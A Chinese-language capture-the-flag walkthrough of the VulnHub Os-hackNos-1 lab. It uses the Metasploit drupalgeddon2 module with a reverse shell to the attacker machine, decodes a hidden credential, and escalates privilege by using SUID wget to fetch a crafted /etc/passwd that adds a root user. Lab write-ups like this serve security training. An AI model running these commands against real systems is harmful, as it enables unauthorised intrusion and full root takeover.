VulnHub—Os-hackNos-1

01 环境搭建

  • 靶机环境下载:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
  • 题目信息如下,难度中等偏下,需要获取俩个flag
Difficulty : Easy to Intermediate

Flag : 2 Flag first user And second root

Learning : exploit | Web Application | Enumeration | Privilege Escalation

Website : www.hackNos.com

mail : [email protected]

02 信息收集

将靶机环境恢复到virtualbox之后,开始第一步信息收集工作。

发现靶机

查看攻击机Kali的ip为192.168.56.1(环境恢复时采用Host-Only Adapter)
在这里插入图片描述
使用nmap扫描网段内的ip地址

nmap -sP 192.168.56.0/24

在这里插入图片描述
扫描发现的192.168.56.102就是目标靶机的ip地址。

端口扫描

使用nmap对目标靶机开放的端口进行扫描

nmap -Pn -n -sV 192.168.56.102

在这里插入图片描述发现目标靶机仅开放了两个tcp端口,22和80。

遍历目录

访问80端口,发现只是一个Apache的页面。没有其他信息。
在这里插入图片描述使用dirb命令,对靶机的目录进行遍历。

dirb http://192.168.56.102

在这里插入图片描述发现靶机开启了drupal服务。搜索发现,drupal是使用PHP语言编写的开源内容管理框架(CMF),且历史版本有被发现高危CVE漏洞。

03 漏洞利用

使用metasploit搜索drupal的POC
在这里插入图片描述挨个尝试每个漏洞的POC,最终找到exploit/unix/webapp/drupal_drupalgeddon2可以攻击成功。

use unix/webapp/drupal_drupalgeddon2
show payloads
set payload generic/shell_reverse_tcp
options
set RHOST 192.168.56.102
set LHOST 192.168.56.1
set TARGETURI drupal
check

在这里插入图片描述反弹回来的shell是一个低权限用户www-data,无法获取任何的flag。
在这里插入图片描述
而且无法切换目录,只能在/var/www/html/drupal目录下,需要运行bash后可以进行相对正常的操作。
在这里插入图片描述

获取flag1

查看home目录,发现存在一个james用户,在其目录下有user.txt文件,里面存有flag1。
在这里插入图片描述

04 提权

继续查看文件系统中可疑的文件。发现在/var/www/html目录下有一个alexander.txt文件。查看发现是一段base64编码的密文。
在这里插入图片描述用base64解密后是一段奇怪的符号。查询发现是brainfuck语言。

+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<

在这里插入图片描述在http://ctf.ssleye.com/brain.html中在线解密,得到结果james:Hacker@4514。很像是james的SSH账户。尝试登录,发现无法登录成功。
在这里插入图片描述

SUID

搜索带有SUID的程序,查看是否可以被利用提权的。

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
在结果中发现wget拥有SUID权限。利用wget,我们就可以更改任意文件。尝试更改/etc/passwd,增加一个root权限的用户,然后再切换用户,就能达到提权的效果。

  • /etc/passwd拷贝到drupal目录下(当前用户只有该目录可写,且能通过web访问)
  • 访问http://http://192.168.56.102/drupal/passwd获取靶机的passwd文件,并保存到本地;
  • 使用命令openssl passwd在本地生成一个密码hash,并将该密码写入passwd文件中
openssl passwd -1 1234
echo 'fakeroot:$1$jPyX0Syz$Zql0xFFsz2lanKTMLv91d.:0:0::/root/:/bin/bash' >> passwd

在这里插入图片描述

  • 在Kali起一个web服务,并在靶机上通过wget下载passwd文件
python -m SimpleHTTPServer
wget http://192.168.56.1:8000/passwd -O /etc/passwd

在这里插入图片描述

  • 由于该反弹shell不是一个全交互式终端,无法直接通过su fakeroot来切换用户。需要先伪造一个tty终端(将普通shell升级为全交互式终端 )。查询发现靶机上存在python3
python3 -c "import pty;pty.spawn('/bin/bash');"

在这里插入图片描述

  • 获取flag2
    在这里插入图片描述
发布了14 篇原创文章 · 获赞 0 · 访问量 360

猜你喜欢

转载自blog.csdn.net/weixin_39219503/article/details/103654809